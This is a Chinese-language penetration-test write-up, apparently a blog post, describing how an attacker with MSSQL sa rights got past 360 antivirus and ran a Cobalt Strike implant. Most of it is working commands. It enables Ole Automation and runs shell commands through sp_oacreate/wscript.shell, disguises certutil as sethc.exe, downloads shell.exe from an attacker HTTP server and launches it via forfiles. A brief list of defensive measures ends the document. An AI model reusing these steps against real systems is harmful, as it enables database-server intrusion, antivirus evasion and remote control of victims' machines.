记一次利用mssql上线
字数 1037 2025-08-06 08:35:44
MSSQL渗透测试实战:绕过360防护上线Cobalt Strike
1. 环境侦察与初始发现
1.1 权限判断
- 使用
1=(select is_srvrolemember('sysadmin'))判断当前用户是否为sysadmin角色 - 使用
host_name()!=@@servername判断是否为站库分离架构 - 确认结果:当前为sa权限且站库分离,无法直接写webshell
1.2 命令执行尝试
- 尝试使用sqlmap的os-shell功能,发现命令执行无效
- 尝试开启xp_cmdshell:
仍然无效EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE
1.3 目录遍历检测
- 创建临时表存储目录信息:
create table tmp(dir ntext,num int) - 执行目录遍历:
insert tmp execute master..xp_dirtree 'c:/',1 - 发现360安全防护软件存在,拦截了之前的命令执行尝试
2. 绕过360防护的技术
2.1 使用sp_oacreate执行命令
-
首先开启Ole Automation Procedures:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -
构造无回显命令测试(使用DNSLOG验证):
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn'; -
发现certutil.exe、wmic、mshta等常用工具仍被拦截
2.2 文件操作技巧
-
复制并重命名系统工具:
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe','c:\windows\temp\sethc.exe'; -
远程下载文件:
- 在攻击机开启HTTP服务
- 执行下载命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://ip:port/shell.exe" C:\Windows\Temp\shell.exe'
2.3 执行绕过技术
- 直接运行下载的shell.exe失败
- 使用forfiles命令成功执行:
最终成功上线Cobalt StrikeDeclare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'forfiles /c shell.exe';
3. 关键知识点总结
-
权限判断技巧:
is_srvrolemember('sysadmin')判断是否为管理员host_name()!=@@servername判断站库分离
-
360防护绕过方法:
- 避免使用常见的xp_cmdshell
- 使用sp_oacreate和wscript.shell组合
- 复制并重命名系统工具规避检测
-
文件下载与执行:
- 使用certutil的-urlcache参数下载
- 通过forfiles执行规避防护软件检测
-
无回显命令验证:
- 使用DNSLOG平台验证命令是否执行
4. 防御建议
-
数据库层面:
- 禁用不必要的存储过程如sp_oacreate、xp_cmdshell
- 使用最小权限原则,避免使用sa账户
-
系统层面:
- 监控异常进程创建(如forfiles执行未知程序)
- 限制数据库账户的文件系统访问权限
-
防护软件配置:
- 加强对sp_oacreate等组件的监控
- 检测异常的文件复制操作(如系统工具被复制到temp目录)
-
日志监控:
- 监控数据库异常配置变更
- 记录所有存储过程的执行情况